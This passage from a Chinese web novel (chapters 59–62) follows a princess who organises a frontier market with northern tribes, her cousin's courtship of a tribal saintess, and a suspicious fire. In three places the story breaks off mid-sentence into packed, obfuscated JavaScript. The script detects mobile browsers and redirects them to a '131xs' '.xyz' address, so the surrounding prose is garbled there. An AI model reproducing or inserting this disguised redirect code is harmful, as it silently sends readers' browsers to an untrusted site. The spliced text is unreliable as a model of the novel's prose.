“你的声名一直都比较地……浪荡……”封眠谨慎地挑选着用词,“圣女对你的印象么,肯定不会太好……” “我只是喜欢到处玩,跟人交朋友,我做人不浪荡的!”褚景淇急急忙忙解释,“我母亲那个人你是知道的,她决不许我在外面胡来。” “在家中也不行!我屋里既没有侍妾,也没有通房丫头。” “母妃教育过我,说忠贞是一名男子最好的彩礼。我向来都很听母亲的话!” 封眠呆呆地“喔”了一声,点点头,“那、那很好了。” 床侧的百里浔舟一手捏着糖葫芦,另一手横在掌下接着滴落的糖水,心下默默想:最好的彩礼,那我也是有的。 既然说到了王妃,封眠便自然地提出另一个劝退的理由,“舅母不是正在替你相看吗?听说人选已从三十人筛到最后十人了,皆是知书达理温文尔雅的女子,恐怕会不喜圣女这般性子热烈纸人。” “母妃看中的自然也都是极好的女子,可是我又不喜欢。我就喜欢涂宓……弥荼这样的姑娘。我回府与母妃说,她定会依我。” “但北夷与大雍……” 这次不等封眠说完,褚景淇便抢先道:“那皇伯伯定会支持我,代表大雍,去苍狼部和亲!” 封眠张张唇,一时说不出话来,如今苍狼部来参与互市,或许很快便会与大雍结为友邦,褚景淇若自愿去和亲,不说其他人什么反应,宫里的几位公主怕是都要乐出声了。 “我懂了,现下我就修书让母妃不必再替我相看,请她同意我去追求弥荼。明日我再去找弥荼,与她说清楚我的心意,看看她是怎么想的!” 褚景淇握住封眠的手晃了晃,一扫刚进屋时的颓靡,笑得见牙不见眼,“多谢你小表妹,替我解了心头一大惑!” 褚景淇欢欢喜喜地走了,贴心地替封眠带上了门。 封眠一头雾水:她帮什么忙了? 59. 第 59 章 “他当真要去给秦王妃传信?” 一声疑问唤回了封眠的神思,她才想起来屋里头还藏了个人,忙回身去看,便见百里浔舟颇有些狼狈地小跑出来,两只手上都被融化的糖渍沾满了。 “呀,当心沾到衣裳,快放到盘子里。”封眠将桌上摆盘的香橼取下来,拿着盘子去接百里浔舟手中的糖葫芦。 糖衣已经化尽了,剩下的三枚果子油润润地反着光,瞧着便没了食欲。封眠还是没舍得立即扔掉,连着盘子一起搁回了桌子上。 “你先坐下,我拿水来帮你擦一擦。” 北疆天气干燥,夜里雾柳打来了一盆水搁在屋里头润一润,此时倒方便百里浔舟了。 百里浔舟两手都沾了糖渍,实在没法帮忙,坐在桌旁看着封眠忙碌,目光一错不错地追着她。 他嘴上问着褚景淇的事情,实则眼里心中只装着一个封眠,不过想与她多说几句话罢了。 装满水的铜盆被封眠挪到了桌上,百里浔舟迟疑着是否要将两只手放进盆中洗,便封眠轻轻托住了悬着的手腕,将他的右手拉到了她的面前。 “你现下若将手放进去,这一盆清水都要变成糖水,可就彻底洗不干净了。我来吧。” 封眠说着,自袖间抽出一张手帕,沾了清水,细细替百里浔舟擦着手指。 他的手腕处的骨骼轮廓清晰利落,手指极为修长,骨节分明,像一支劲瘦笔直的竹,手背皮肤透出淡青色血管,指尖和掌心有着习武留下的茧,显得极为有力量感。 封眠轻轻擦着擦着,便不自觉看入了神。 沾了水的冰凉绸缎细细密密地擦过指间皮肤,传来些微痒意,指间温度不降反升。 百里浔舟克制着蜷起手指的欲望,瞧见她一张手帕擦过糖渍的地方便不再用,很快便又换了一张干净的手帕继续替他擦,不由有些不大好意思。 “抱歉,又弄脏了你的手帕。” 上次他还昧下了她一张手帕没有还给她,也不知道她还记不记得。 “小事而已,我最不缺的便是手帕了,不必放在心上。”封眠头也未抬。 喔,那想来她是记不得了。 一点点的失落,在望着她专注给自己清洁手指的模样时便烟消云散了。 她垂着头,百里浔舟便光明正大地盯着她,光洁的额头也好看,鬓角的碎发也灵动,纤长卷翘的睫毛轻眨一下便好似有只蝴蝶在他心口扑棱扑棱扇着翅膀。 想通他的真心落在何处后,眼中所见的一切好似都变得不同起来。 封眠帮他擦净了一只手,换另一只手时,才想起他之前问了句褚景淇的事,开口打破了两人之间的宁静,“九哥虽行事时常有些跳脱,但说过的事从来不作假,他既说要给舅母写信,现下定在屋中奋笔疾书。” “舅母向来疼爱他,应当会应允了他。但我觉着……”封眠幽幽叹一口气,“那位圣女好像不太喜欢他,九哥这回怕是要栽跟头了。” 一句话,令百里浔舟微微翘起的唇角落了下去。 他想起了封眠之前说过的理想夫君的条件。 第一条温润如玉便已将他拒之门外,如何还能高兴得起来? 百里浔舟默然半晌,闷闷问道:“如果小侯爷用情至深,不愿放弃,可有打动圣女的机会?” “我又不知圣女喜欢什么样的男子,哪里说得准呀。” “喜欢的标准便一定不会变吗?”百里浔舟试探着,“比如以前喜欢读书人那般的君子,后来相处之下,觉得习武之人也不错呢?” “或许吧,标准又不是绝对的,若遇到喜欢的人,哪里还会去一一对应这些条条框框呀。”封眠还是认真思索了一下,“其实九哥性情不坏,待人也赤诚,更愿意跟着圣女回到苍狼部去,也说不准圣女觉得他有趣,会考虑他一下呢。” 对,说不准会考虑他一下呢。 百里浔舟半死不活的心又砰砰跳了起来。 一缕发自封眠的肩头滑落,眼见要沾上擦过糖渍的手帕,百里浔舟匆忙伸出空出的右手,替她将秀发撩回耳后。 恰好封眠察觉动静抬头,他的手指便轻轻蹭过了封眠半边耳廓,略带薄茧的指尖触感分明,封眠纤薄如玉的耳垂登时便红了。 她埋首粗略擦完最后一根手指,正襟危坐便开始赶人,“很晚了,我睡了,你……” 话到嘴边她又迟疑住了,百里浔舟赶了一整日的路,如此深夜不歇一歇,再赶路回去,好似有些太…… “明日营中还有军务,我是该回去了。” 百里浔舟自觉起身,他微微倾身,身影遮住了跃动的烛光,背光的神色显得格外温柔,“明日开市第一日,早些休息吧。小侯爷的事,他想必自己心中有数,你就莫要为他操心了。” “若担心他气跑了层浪不圣女,你变让疾羽营的卫长将他绑了,就说是我吩咐的。” “莫要太累着自己了。” 发顶微微一重,封眠感觉百里浔舟像是摸小猫一样轻轻摸过他的发顶,只一下便收了手,阔步行到窗边,翻身离开前最后再深深看了她一眼,“记得关好窗。” 下一瞬他便轻盈跃下,袍角掠过敞开的窗,划过一道凌厉的弧线。 封眠静静坐了片刻,似乎是等着他走远了,才轻手轻脚地去关了窗,仿佛生怕被谁听见动静,跑来问她怎么了。 她要如何说百里浔舟半夜突然闪现,只是为了来给她送一串糖葫芦的事呢? 然而雁过留痕,有些事情总是藏不太住。 翌日一早,流萤和雾柳推门进来,便瞧见了昨夜百里浔舟留下的“赃物”。 “哪里来的糖葫芦?”流萤一嗓子嚷开,困惑地看看雾柳,两人又一起看向封眠。 封眠认真研究手上擦脸的巾帕,坚决不与她们对视。 “郡主……”流萤还待再问,被雾柳拽了下衣角,眼神制止。 雾柳接过话,“郡主,顾大人遣人来问,您是与他们同去,还是稍晚些再去。” “同去吧,毕竟是开始第一天,在这里我也坐不住。” 互市入口处,已满满当当排起了两条长队。 左侧是大雍的商贾,他们一面排着队核查文书,一面不住地越过中间充作隔离带的疾羽营士卒往右边的队伍瞧,那里排着如约而来的苍狼部等六个部族。 “哎,他们身上穿的皮毛瞧着挺不错的,淘换两件好皮毛,再找个好绣娘缝件大氅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16249456|178713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,在盛京绝对被贵人们抢着要。” “才入夏,你这都想着做冬日的生意了。” “我闻见香料味儿了,东华楼的大厨托我给他寻摸些特殊的香料,今日看来都能办齐了!这互市来得值啊。” “快瞧快瞧,那几匹当真神骏威风啊,这得值……” “你就别想了,战马那都是官府交易的东西,眼馋眼馋算了。” 大雍商贾们眼里全是对金钱货物的渴望,被盯着的北夷部族却不知道,小少年阿丹不大自在地偏过身去,往赫尔林身后躲。 “他们是不是偷偷嘲笑我们呢?阿叔阿婶们都说,大雍人向来看不起咱们,咱们来他们的地盘做生意,那不是上赶着挨欺负吗?” 赫尔林:“圣女大人做的决定你也不信?” 阿丹搓搓衣角,“我信圣女大人,不信大雍人。” 阿丹身后排着一位风语部的老人,他满面沟壑纵横,瞧着年纪已经很大了,却还是牵着骆驼推着车来了,车上坐着他四岁的外孙,小孩儿正手脚并用地压着周身的货物,警惕的目光四下扫射着,不让任何货物有掉落的风险。 许是瞧阿丹年纪不大好说话,他微微倾身,露出一个讨好的笑,用北夷语问他:“小阿郎,我不会说大雍的官话,等会能不能跟你们挨着,拜托你们帮我翻译翻译,我给你付银钱!” 阿丹一瞧他拉着骆驼,推车上又堆着些石块、盐块和手工织毯,就知道他是来自风语部的。风语部生活的地方多戈壁,日常比其他部族更贫苦一些,因为太弱小,族人常会被其他大部族掳走做奴隶。 阿丹忙摆了摆手,回道:“没事,阿爷您就与我一起吧,说一两句话而已,用不着银钱。而且……” 他指着中央广场几个官员的方向说道:“那里有大雍的通事,额迷你可以帮忙翻译,阿爷要是想卖什么大件,找他们就行。” 老人顺着他指的方向看去,便瞧见中央广场上竖着几杆旗子,旗子上面用北夷语和大雍语分别写了一遍“通事翻译部”。 “当官的不会骗人吧?”老人有些局促不安,他见过其他部族的贵族和官员,再多瞧一眼,落下的便是鞭子了。 阿丹如何能说他也不信呢?圣女大人知道了要打他的,于是他道:“不会,您要是不放心,或是那些人态度不好,就还到这入口来,我们苍狼部的圣女大人今日就在此处看着,她最是公正无私了,会跟大雍的官员一起给您做主的!” 这都是昨日圣女大人回去后逐一耳提面命让他记熟了的,毕竟此番是苍狼部做了牵头人,总要确保大家的利益才是。 阿丹顺溜地背完了几条圣女大人交代的互市注意要点,顺嘴又夸了圣女大人一句,自觉颇为骄傲。 老人点点头,安了心,摸摸推车上外孙光溜溜的脑袋瓜,哄道:“小哈丹,阿爷赚了银钱,给你买点心吃。大雍的点心又香又甜又软。” 哈丹仰着小脑袋,严肃的小脸冲阿爷挤出一个笑:“阿爷也吃。” “真乖。” 封眠的马车停在入口不远处,掀起车帘瞧着众人有条不紊地入内。 “铛!铛!铛!” 伴随着连续三声洪亮的铜锣声,便正式开市了。 60. 第 60 章 起初集市内并没有热络的交易起来,大雍和北夷双方的商贾都不大习惯与言行相貌都与自己如此迥异的异族人交流,几十年积累的隔阂也并非此时聚在同一场所便自动烟消云散了。 一座中央广场如银河一般将两侧分得泾渭分明。 陆鸣竹瞧得着急,正打算做个“出头鸟”,当先从大雍商区往北夷商区去,一头小羊羔突然从北夷商区撒蹄狂奔,一头撞上了陆鸣竹的膝盖。 他闷哼一声跌坐在地,两侧的侍卫上前将小羊羔摁住了,附近的大雍商贾凑上来看,七嘴八舌地议论起来。 “这小羊羔瞧着真结实,定是良种啊!” “皮毛又密又亮,蹄子也结实,北夷这地方养的牲畜就是好!” 小羊羔的主人叽里呱啦地嚷着北夷语就过来了,方才称赞小羊羔的几名商人立即将人团团围住,手脚比划着与他问价。 广场中央的通事见状忙上前帮忙翻译,许多插不进话的商人主动往北夷商区走去,两泊沉静的湖水中间高竖的堤坝被一头小羊羔闷头撞翻,终于彼此流动了起来。 被汹涌起来的人潮遗忘的陆鸣竹呆了片刻,又无奈又好笑地撑着地面爬了起来。 顾春温走过来扶了他一把,笑道:“郡主说你祸兮福之所倚倒真是没说错,多亏你被小羊撞了这一下,集市方才热闹了一起。” “若是这般有用,便是再被牛、马多撞几次也值了。” 陆鸣竹正玩笑着,斜刺里一北夷人赶着几头牛大喇喇闯了进来。顾春温忙伸手将陆鸣竹拽开脸部,牛角擦着陆鸣竹的鼻尖走了过去。 顾春温无奈:“陆兄,下次说话时也当心些。” 陆鸣竹死死地抿紧了唇,左右望了望,问道“郡主呢?” “喏。”顾春温抬手一指。 牛群穿过视野,露出后面小摊前正兴致勃勃与北夷商人比划着交流的封眠。 她今日穿了件豆绿色棉布窄袖衫,下身是一条深绿棉布百褶长裙,梳了个简单的盘髻,只插一根普通的木簪,完全是寻常百姓的装扮。 身旁的流萤和雾柳也换了身装扮,跟在她身后像一家三姐妹,周围人谁都没发现她竟然是郡主。 “小娘子,您帮我跟他说,这几块挂毯一起,五两白银,不能再多了。”须发皆白的年长商贾拉着封眠,让她把自己的话“翻译”给对面的北夷商贩。 交易的人变得多了起来,通事忙不过来,排不上队的一些年纪大的商贾病急乱投医,觉得年轻人必然懂得多一些,开始随手抓路过的年轻人替自己与北夷商贩交流。 封眠本是随意逛一逛,寻一些可以改进的问题,但她生得年轻,气质又突出,便也就这么被抓了壮丁。 她正将年长商贾的意思打手势告知对面的北夷商贩,一声怒气冲冲的喊声由远及近—— “祖父!” 一名十来岁的少年像头暴躁的小牛犊一般撞了过来,将年长商贾拉着退了好几步,警惕地瞄着对面的北夷商贩。 “你不是说来这里只跟大雍的商人做生意吗,和一个北夷人在这里废什么话!” “难得有这么好的机会,大家都上,偏你往后躲着,这钱不相当于白白送给别人了吗?” “那也不能和他们做交易!为了赚几两银子,您怎么能就把姑姑一家的仇恨都放下了!”少年胸膛剧烈起伏着,通红的眼眶愤怒地瞪着对面,咬牙含恨,“这些人都是杀人凶手!” 年长商贾一时哑然,对面的北夷商贩正是风语部的那名老人,他有些手足无措,惶惑地看了看封眠。 躲在他身后的小哈丹探出半个脑袋,小脸严肃地绷着,磕磕绊绊地用大雍话说:“没有,阿爷,没,杀,不杀!” 封眠和老人都惊讶地看向小哈丹,没想到他竟会说大雍话,还说得是这么一句。 或许是族中有长辈闲话时聊起过类似的字眼,让他学了去。 这种情形,封眠几人也设想过许多遍,所以在两侧都安排了许多人巡视,不做劝导,只做解释。 “今日来参加互市的这七个部族,都未曾袭掠过边民。”封眠温柔地看向又愤怒又伤心的少年人,轻声陈述,“他们也只是一些为生计奔波的普通人。” 少年瞪向她,“你是想劝我放下仇恨吗?” “我没有资格劝你,只是想与你说一句,今日互市交易,便是为了给这七个北夷部族一条活路,让他们不必拿起刀箭,投靠意图再次挑起大雍与北夷战争的部族。” “若做几单生意,便能阻止一场战争,多活几条性命,你觉得好不好?” 少年沉默不语,双拳攥紧又松开。 年长商贾拍了一下他的脑袋,故意道:“若让你在这里把这几个手无缚鸡之力的北夷老人和小孩都杀了,为你姑姑报仇,你下得去手吗?” 少年气得哼一声甩过头去,含在眼眶中的一滴泪珠此时才被甩落。他忽觉手上一热,低头便瞧见方才还躲在阿爷身后的小哈丹跑到了他脚边,正垫着脚够他的手。 “你干什么?”他语气不耐烦,却俯下身扶住了身子不停晃悠的小不点。 哈丹将攥紧的拳头砸进他的掌心,小手一张,丢出一颗一直握着舍不得吃的糖果。 少年呆呆看着掌心那颗被攥的皱巴巴的糖,半晌没有动作。 哈丹急得两只手抱住他的手掌,帮他把手掌握合,再往他身边推,同时不忘瞧瞧封眠,啊呜张嘴做出吃糖的动作,让她替自己翻译。 封眠忍笑,“他请你吃糖,让你别哭了。” “谁哭了。”少年不悦地嘀咕,抹了把眼睛,粗声粗气地跟自己祖父说,“快点,你毯子还买不买了?” 年长商贾哼一声笑了,点他额头,“没大没小。” 封眠微微松一口气,自然地退开两步,让他们自行讨价还价。比她更年轻的少年出现了,应当是用不上她这个“翻译”了。 她一扭头,险些撞上不知何时站在这里的顾春温和陆鸣竹。 “你们在这儿干什么?” “郡主在此处转了半晌,接下来应当要北夷商区了,我们等着郡主一同去。”顾春温说道,陆鸣竹跟着点头。 虽有流萤、雾柳跟着,周遭还有许多侍卫,他们还是放心不下。 封眠确实是这么想的,她点头应了,正带着陡然壮大起来的队伍往北夷商区走,便听见前方传来争吵。 “你拿病马充好,想骗谁?!”一名年轻马商死死拽着一匹枣红马的缰绳,脸因愤怒而涨红。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16260004|178713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >对面的北夷马商脸色铁青,懂大雍话的北夷伙伴跟他翻译了年轻马商的话,他被气得不轻,生硬得吼道:“你!坏话!我的马,好!” 他的手按上腰间的刀柄,眼中喷着火。 他的马是没在与官府的交易中被选上,但它不是病马! 年轻马商身边的护卫和伙计见状立刻拥上前,双方剑拔弩张,推搡起来。 周围所有人都伸长脖子望过来,窃窃私语。空气骤然绷紧, “铛——!” 铜锣声猛地炸响,压过了所有嘈杂。 两名披甲执锐的鸾仪卫护着陆指挥使冲了过来。 陆指挥使面色冷峻,目光如电,扫过冲突双方,“有事好好说,禁止斗殴!” 两名鸾仪卫上前,强硬但公正地分开了几乎要扭打在一起的两人。 幸好考虑到北夷有许多牲畜交易,今日互市特地请了几名兽医坐镇,陆指挥使立即着人将兽医请来,最终证实那匹枣红马只是长途跋涉有些消瘦,并非病马。 年轻马商顿时羞愧地涨红面皮,拱手道歉,并主动加价要买下枣红马。北夷马商接受了道歉,坚持原价交易。 一场风波消弭于无形。 “往盛京递的奏折上,可得多夸几句陆指挥使。” 封眠瞧着陆指挥使这边灭完了火,扭头又带着人气势冲冲去追挣脱了绳子乱跑的羊羔,将自己忙得团团转,大事小事都亲自上手抓的模样,忍不住跟身侧两人笑谈了一句。 “若是我等也能上书,定要好好夸赞郡主一番才是” 一道女声自后侧方传来,封眠回身,瞧见一道明丽照人的身影。 “折夫人!你居然亲自来了!” 参加互市的商贾确实有折夫人名下店铺的掌柜,但封眠没想到折夫人本人竟也会来。 折夫人笑盈盈走近,她穿一身暗绣缠枝花纹的秋海棠红绫缎衫子,外罩浅松花色长褙子,用捻金线绣着蝶恋花图样的百迭裙步步生金,一如既往地明媚张扬,在灰扑扑的互市集市上极为亮眼。 “郡主亲自挑起的互市,我自然要来捧场的。”折夫人水润的眼波带着笑意落在封眠身上。 若说起初她将作坊让给郡主,是为了全王妃一个面子,现下不顾风霜来到这偏僻的黑石沟互市,便全是为了郡主本人。 她相信郡主的所想所谋,相信她看似纤弱的身影后藏着的魄力与远见。她愿意押上这一注,不是为了讨好谁,只因她从郡主的眼中,望见了一个从未敢想,却无比期待着的可能。 “我本也是想请你一起来的,只是听闻梁会长那里出了些事,便没好意思登门。” 折夫人作为云中郡商会梁会长的夫人,在商贾一界的影响力也是极大的,封眠之前还想着若她能在互市招商会上露个面,说不定能影响一拨人。 折夫人妩媚一笑,垂下的眼睫遮住冰冷的眼神,轻语道:“他啊,对我手底下的生意是惯不上心的。我才不去管他招惹的那堆烦心事呢。” 略带娇嗔的语气仿佛是在赌气一般。 “那夫人便与我一道……” “郡……”墨松跑到近前,不慎呛了风,一面猛咳,一面努力从嗓子眼里将话说全,“小、小侯爷他……您快去看一眼!” 61. 第 61 章 墨松断断续续的一句话险些将封眠的魂儿吓得飞了出去,跟上他一路不停地飞奔到了互市入口处。 她心惊胆战地以为自己将要看见什么血腥的场面,顺着墨松手指的方向看去,却瞧见褚景淇正活蹦乱跳地被几名苍狼部侍卫围困在墙角。 是字面意义上的活蹦乱跳。 褚景淇的个子并不算矮,在大雍也是十分高挑修长的漂亮身形,只是这几名苍狼部侍卫都生得人高马大,比之足足高出了两个头去,如人墙一般压下来,将他罩得严严实实,只能不住地跳起来与外面的人喊话。 “弥荼!我就与你说两句话!你别躲着我呀!” 封眠走到近前时,褚景淇又蹦跶了两下才瞧见她,忙站稳了身形,向她求救:“小表妹,你快帮我与弥荼说一说,我就只与她说几句话,她为什么不肯见我?” 褚景淇当真是颇为委屈,昨夜他写信到寅时,今日一醒来便赶过来见弥荼,想着定要与他说清楚自己的心意。 他担心大庭广众之下谈论此事,会给她造成压力,被百姓们听去了,不知又要造什么谣,便一心想请她稍离片刻,与自己面对面单独谈一谈,结果她根本连见都不见他,指挥着侍卫就将他团团困了起来。 “那你先消停些吧,这样大吼大叫的,留给旁人想象的余裕可是更大了。” 封眠先安抚好了褚景淇,让墨松在旁边陪着,才转身走向弥荼。 弥荼坐在凉棚下,双手环抱盯着来来往往的人群。 她担心今日互市上北夷部族的商贾受欺负,特意在此坐镇,没想到好半晌过去,一个受了委屈来哭诉的人都没有。 只有一个聒噪的男人来打扰。 思及此,她突然意识到耳边好像没了那道上蹿下跳的声音,下意识看过去,便瞧见封眠向自己走来。 是了,他们是一家人。 弥荼一动不动,冷眼瞧着封眠走到面前,“怎么,替他做说客来了,还是打算拿出郡主的威风来压我向他道歉?” “那你可是打错注意了。” 除了阿爷,无论是大雍的皇亲国戚还是北夷的遗老贵族,都不能让她低头。 封眠轻轻摇了摇头,“圣女做什么把人想得这么坏呢?我只是以一个妹妹的身份来请求你。” “烧粮草的事已经过去了,九哥他也并不是想来向你兴师问罪。立场不同,他从始至终也未曾想过要怪你。他觉得自己皮糙肉厚,又是名男子,被骗一下也没有什么大不了的。” “那他还来纠缠什么?”弥荼挑眉,“看在你的面子上,这次我没揍他,他却说什么都不肯走,烦死了。” “有些话我也不能代劳,你若是愿意的话,便与他聊一聊吧。若是你不愿意,我现下也有法子将他劝走。但我九哥这个人有时还是有些固执的,接下来怕是日日都会来。” “短痛好过长痛,你便给他个痛快吧。” 封眠做出拜托的手势,弥荼犹豫了一下,忽然想到什么,勾唇道:“也不是不行。不过我要一百石粮食。” 她牢牢盯住封眠,“我知道,北疆缺粮,但你这位郡主可不缺。” 可真是会趁火打劫。 “可以,待互市顺利结束,你拿来我想要的种子,我们两讫。”封眠点头应了。 粮食的钱晚些去找褚景淇结清就是了。 她答应得太爽快,弥荼都愣了片刻,疑心自己是不是要少了,“你们兄妹感情倒是真好。” 以前一年才见一次,真有多少情谊倒不见得。但自打封眠来了北疆,几次遇见褚景淇,他都是以绝对的真心相待。 真心总是能换来真心,过去十几年的除夕聚宴,也不如这几月的偶然相处来得深刻。 “或许我说了你也未必信,与他多相处些你便直到了,九哥其实还是个很好的人。” 弥荼没接话,吩咐身旁人看好凉棚,兀自起身去寻褚景淇。 封眠遥遥望见褚景淇被放出来后欣喜得展颜,领着弥荼往停在僻静处的马车前,还不忘遥遥冲封眠抱了抱拳以示感谢。 “郡主,咱们不跟着吗?”流萤小小声问。 “放心吧,圣女有分寸,不会对九哥动手的。”封眠准备继续回互市上逛一逛,接下来的事就不是她能操心的了。 流萤轻轻地“啊”了一声,原来郡主担心的是小侯爷啊。 也是,小侯爷虽是男子,但手无缚鸡之力,圣女虽是女子,瞧着却是很能打的样子。 “很能打”的圣女弥荼跟着褚景淇上了马车,大马金刀一坐,扬一扬下巴,“说吧。” 她这番姿态与化名“涂宓”时很不一样,涂宓也是明艳的,但敛去了周身张扬的刺,多了些刻意模仿的小女儿温柔的情态。 如今做回弥荼,她也懒得再做任何掩饰。 褚景淇眼也不眨地瞧她,腰背挺直坐得规矩,张扬的羽毛都收敛了起来,点点红晕自脖颈处蔓上来,回忆了一下打了一晚上的腹稿,勇敢开口:“我喜欢你。” 弥荼面上一僵,还未开口便听褚景淇一口气说完了剩下的话。 “我已经给母妃写了信告知她我对你的心意,不会让她从旁处听说些对你不好的传言,做出对你不好的事。” “我是真心实意喜欢你,以与你成亲为前提向你表明心意,绝不会做始乱终弃的负心汉。”他说罢急匆匆地补充,“当然了,这是在你同样喜欢我的前提下,若只有我单方面喜欢你,那断是做不成负心汉的。” 后半句声音放轻了些,有些失落。 转而又振作起来,“你不必现在就回答我,我只是想让你知道我喜欢你,给我一个追求你的机会,可以吗?” 他期待地望着弥荼,心里疯狂许愿:现在就答应我现在就答应我现在就答应我! “我不是涂宓。”弥荼皱着眉,硬邦邦道,“你喜欢的人也不是我。” “在我眼里你们就是同一个人。你是涂宓时我喜欢,是弥荼时我也喜欢,是什么样子我都喜欢。” 喜欢一旦说出口,再说起来更是全无压力,褚景淇把它当口头禅一样说。 弥荼捂住了耳朵。 褚景淇闭嘴了,憋了半晌还是问:“行吗?” 弥荼思考了半晌,想起来封眠说大雍人都会种地,遂问:“你会种地吗?” 褚景淇两眼茫然地看着弥荼,转瞬目光坚毅道:“我可以学!” 啧,果然是在骗她。 “话说完了?我走了。”弥荼转身下马车,走得毫不犹豫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16260005|178713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 咦,她没有直接拒绝!有时候没有直接拒绝,便大致是默许了。 褚景淇瞬时精神抖擞起来,兴致勃勃去找封眠讨教应该送些什么东西让弥荼高兴,便收到了封眠新鲜写就的账单。 “粮食嘛,她定会喜欢的。” 不过这样纯送也不是办法,封眠催他去帮弥荼选购一些种子,说不定能帮忙找到一些北夷部族也能种的食物,到时候他们就能自给自足了。 褚景淇想到弥荼问他会不会种地,顿时来了兴致,看来她不是随便问问而已,这果然是一条加分项! “若是真有这种种子,可一定要教我怎么种!最好再派我去苍狼部教他们如何种,这样我便有机会在弥荼面前好好表现一番了。” 想开屏的心思直接写在了脸上。 虽然这事还得报过舅舅才能作数,但现下封眠自然是什么都应了,她目送着喜气洋洋的褚景淇没入来往商贾之中,心下想着,若此事能成,也要在舅舅面前夸一夸褚景淇,免得他日后说要去“和亲”,再被当成了胡言乱语。 “郡主想要什么样的种子?”陆鸣竹积极问道,“我也可以帮忙去挑挑看。” 目前来看第一日互市极为成功,日后想来会有越来越多的商贾赶来,多一些人搜罗倒也是更好些。 封眠:“只要是没见过的种子都可以。” 广撒网,多捞种。 她若直接描述出种子的模样,要如何解释她竟会认识这种从未在大雍出现过的作物? 顾春温是户部的官员,隐约猜到封眠或许是从什么地方知晓了一些新奇的作物,便主动问道:“若是寻到了种子,是不是要寻专人来试种一番?需不需要我从户部帮郡主调一些人过来帮忙?” “可以吗?”封眠眼睛一亮,毕竟还没有什么成果可以展示,她都没好意思提向户部借人。 顾春温含笑回道:“陛下派我来时便吩咐过,郡主有何需求,都须尽力满足。调人这等小事,自然不成问题。” 封眠欣喜道:“那太好了!如此便能省去不少周折。” 顾春温将此事仔细记下,转头望了一眼褚景淇离去的方向,忽有些感慨:“没想到小侯爷竟是如此钟情之人。若能寻到心爱之人,与之相守一生,对任何人而言,都实属难得的缘分。” 封眠轻轻一叹,应道:“是啊,能遇见心爱之人,就已经不是件易事。” 顾春温细细品味她说话时的语气与神态,心下微动:郡主好似对百里浔舟并无什么别样的情愫。 傍晚时分,集市陆续收摊,人群渐散。 为方便互市往来,不少客商都借住在附近州郡的驿站,返程仍需赶上一段路。 幸而有疾羽营和鸾仪卫一路护送,令满载而归的众人安心不少。 封眠回到驿站便早早洗漱完毕,卸下一身疲惫,舒舒服服窝在椅中,提笔给百里浔舟写这一日的所见所闻。 烛火忽然“啪”地爆了一下灯花。 她微微一怔,恍惚间竟以为有人轻叩窗棂,不由抬头望去。心下明知不可能,却还是忍不住起身,支起了窗。 窗外夜凉如水,静谧无人。 封眠忽地忍不住好笑,正要关窗,忽瞧见远处火光隐现。 62. 第 62 章 “是何处着火了?伤着人没有?” 封眠重新穿好外出的衣裳跑下楼,顾不得什么仪容仪态,人未至声先至。跑下楼梯时还险些踩空,惊得一旁早已等在楼下的顾春温和陆鸣竹忙伸出手来。 封眠自行扶着扶手站稳了。 前来传信的侍卫满身烟尘,弯腰向封眠行礼,“着火的是雀南商栈,幸而火势不算大的时候就被人发现了,只有几名客商受了点轻伤。” “备车,我现在要亲自过去。”封眠大步向外走去,众人纷纷跟上。 侍卫疾步追在封眠身侧,接着汇报道:“在火源附近我们抓到了一个行迹可疑的人。” 被抓住的青年穿一身靛蓝直裰,眉目英挺,虽是满身烟尘,衣裳上还被烧出了几个洞,被两名侍卫押着站在刚扑灭火的商栈旁,但略微懒散的站姿中偏生透出一股说不清道不明的气质。 听见有人走近的声音,他眼皮也未抬,拖着字音道:“都说了不是我放的火,你们还要问几遍。” 封眠:“那你是何人,为何出现在此处?” 听见封眠的声音,他微不可察地顿了一下,才缓缓抬起眼皮,看人时眼中带着三分不在意七分兴味,“你便是清平郡主,北疆的世子妃?” 封眠不奇怪他为何会知道自己的身份,北疆人人都知道互市是郡主主办,见到一个此时此刻赶来问话的年轻姑娘,傻子也猜得出来她的身份。 她对他的话不予理睬,只道:“你还没有回答我的问题。” “你是何人?” 青年略微站直了些,唇角要笑不笑地弯着,“傅辞偃。路人,瞧见起火了,便进来救人。” “这年头,做点好事也要被这样误会了?” 封面细细观他神色,他的目光不闪不避,眸光清亮,并不像是说谎的模样。 封眠确认自己从来没有见过他,但不知为何,看着他的面容,总觉得他有点眼熟。 “我们是否曾在何处见过?” 或许只是她忘记了。 傅辞偃唇边的笑意又深了些,“草民一介布衣,如何有幸得见贵女容颜?” 他嬉笑道:“郡主殿下便是想与草民搭话,也不必挑个如此烂俗的借口。” “放肆!”顾春温上前挡住他看向封眠的目光,平日时常带着温和笑意的眸子,瞬间结了一层薄冰。 